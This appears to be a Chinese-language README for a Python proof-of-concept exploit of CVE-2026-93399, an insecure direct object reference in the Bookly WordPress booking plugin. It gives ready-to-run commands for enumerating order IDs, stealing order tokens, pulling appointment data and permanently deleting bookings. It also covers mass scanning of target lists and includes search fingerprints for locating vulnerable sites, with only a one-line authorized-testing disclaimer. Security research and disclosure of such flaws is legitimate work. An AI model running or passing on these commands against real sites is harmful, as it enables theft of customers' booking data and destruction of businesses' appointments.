针对 Bookly(bookly-responsive-appointment-booking-tool)中 CVE-2026-93399 的 Python 3 PoC。
CVE-2026-93399 — Bookly ≤ 28.2 在公开预约 AJAX 接口中存在不安全的直接对象引用(CWE-639):bookly_get_form_id 会将攻击者可控的 order_id 存入表单会话,而 bookly_render_complete 会在未验证该会话是否创建了该订单的情况下,返回该订单的密钥 bookly_order 令牌。未认证攻击者可枚举订单 ID、窃取令牌、通过 bookly_add_to_calendar 拉取预约数据,并使用 bookly_rollback_order 取消/删除未完成的预约。CVSS 3.1:9.1 严重(C:N/I:H/A:H)。已在 > 28.2 中修复。
PoC 页面: https://pocbit.org/pocs/cve-2026-93399
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
仅限授权测试。--rollback --confirm-delete 会永久删除预约。